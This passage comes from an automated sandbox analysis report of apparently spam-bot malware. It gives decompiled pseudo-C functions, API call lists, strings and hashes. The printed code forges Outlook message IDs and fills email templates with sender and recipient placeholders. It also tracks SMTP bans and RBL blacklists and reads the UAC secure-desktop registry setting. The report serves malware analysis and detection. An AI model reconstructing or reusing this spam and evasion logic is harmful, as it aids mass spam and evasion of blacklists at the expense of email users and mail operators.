					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%s%d, xrefs: 0040AE58
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
%OUTLOOK_HST, xrefs: 0040AEC5
%OUTLOOK_MID, xrefs: 0040AEAE
127.0.0.1, xrefs: 0040ADEB
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 0043D408, Relevance: 19.7, APIs: 13, Instructions: 237COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0043D45A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043D4BE
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043D4E8

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_$__invalid_parameter
String ID:
API String ID: 1741468733-0
Opcode ID: a0c5e9ffeb76ac810b6936e1f7b2fd3eb431c646642bbc74d220c024dbbe27d6
Instruction ID: 1b77ca8ac4115499fdb6925bb4646089c6f7bd44250e097b5b42bef6881a88d6
Opcode Fuzzy Hash: a0c5e9ffeb76ac810b6936e1f7b2fd3eb431c646642bbc74d220c024dbbe27d6
Instruction Fuzzy Hash: F7A15070E00109DFCB04DFA4D992AAEB7B1FF48315F60811AE416AB2D1D738AE41CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00869576, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 00869590
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 008695BE
GetModuleFileNameA.KERNEL32(00000000), ref: 008695C5
wsprintfA.USER32 ref: 0086961E
wsprintfA.USER32 ref: 0086965C
wsprintfA.USER32 ref: 008696DD
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 00869741
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00869776
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 008697C1

Strings

PromptOnSecureDesktop, xrefs: 008695ED, 0086960D, 0086964B, 0086966C, 0086969F, 008696C8, 008696EA, 0086971D, 00869769, 008697A0

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop
API String ID: 3696105349-2980165447
Opcode ID: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction ID: 31a56e0959f02a6d127cb7bcad5a8306369d1418e8a12f7ea90eb5fafe139a33
Opcode Fuzzy Hash: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction Fuzzy Hash: 11A16BB290060CEBEB25DFA4CC85FDE3BACFB05340F114026FA15D6192E7B5D9848BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00861FE6, Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00862016
GetSystemInfo.KERNEL32(?), ref: 00862038
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 00862053
GetProcAddress.KERNEL32(00000000), ref: 0086205A
GetCurrentProcess.KERNEL32(?), ref: 0086206B
GetTickCount.KERNEL32 ref: 00862219

Part of subcall function 00861E2F: GetComputerNameA.KERNEL32(?,0000000F), ref: 00861E65

Strings

localcfg, xrefs: 0086207A, 00862081, 00862094, 008620CD, 008620DC, 00862102, 00862121, 00862137, 0086214F, 0086216C, 00862184, 008621A0, 008621C0
hi_id, xrefs: 00862166, 0086216B, 00862183
0t, xrefs: 00862219
flags_upd, xrefs: 0086208E, 00862093, 008620CC
work_srv, xrefs: 008620AE

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: 0t$flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-2138632659
Opcode ID: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction ID: 012ea961f73e177d264f662cf65825b80037a62fca8bdb2e2b7feb52f9ef0833
Opcode Fuzzy Hash: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction Fuzzy Hash: 2251E7B05047486FE330AF698C85F67BBECFB55704F01092DF995C2142D7B9A944C766

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,74B5F210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,74B5F210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
net_type, xrefs: 004021DF
rbl_ip, xrefs: 0040218F
0t, xrefs: 00402072
rbl_bl, xrefs: 00402181

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: 0t$localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-2836909627
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

p2u, xrefs: 0040F375, 0040F3A0
time_cfg, xrefs: 0040F323

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p2u$time_cfg
API String ID: 311057483-3085829997
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

86A, xrefs: 0040BF98
smtp_herr, xrefs: 0040BE46, 0040BF62
06A, xrefs: 0040BF70
46A, xrefs: 0040BF85
smtp_retr, xrefs: 0040BE61, 0040BF8C
smtp_ban, xrefs: 0040BE55, 0040BF77

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%FROM_EMAIL, xrefs: 0040B3E9
%TO_USER, xrefs: 0040B488
%DATE, xrefs: 0040B4D2
%TO_EMAIL, xrefs: 0040B473
%FROM_DOMAIN, xrefs: 0040B41E
%TO_HASH, xrefs: 0040B4B0
%TO_DOMAIN, xrefs: 0040B44B
%s@%s, xrefs: 0040B461
%M5DATE, xrefs: 0040B50F
%P5DATE, xrefs: 0040B4F2
%FROM_USER, xrefs: 0040B431

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0043A225, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043A229
_strlen.LIBCMT ref: 0043A259
_write_multi_char.LIBCMTD ref: 0043A9F8
_write_string.LIBCMTD ref: 0043AA13
_write_multi_char.LIBCMTD ref: 0043AA3F
_wctomb_s.LIBCMTD ref: 0043AABC

Strings

-, xrefs: 0043A998

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -
API String ID: 2232461714-2547889144
Opcode ID: 06803ca67f8d4ca05dbc50d80c4edfc9d929b2336530c078b8d016d674f77ad9
Instruction ID: 6a28b786ed8b5b335d571e2fd98396783de3b9bde49a18c895fbf286907b2c96
Opcode Fuzzy Hash: 06803ca67f8d4ca05dbc50d80c4edfc9d929b2336530c078b8d016d674f77ad9
Instruction Fuzzy Hash: 4AA18BB0D012288FDB24CF54CC49BEEB7B1AB48305F2491DAE1596B281D7789E90CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
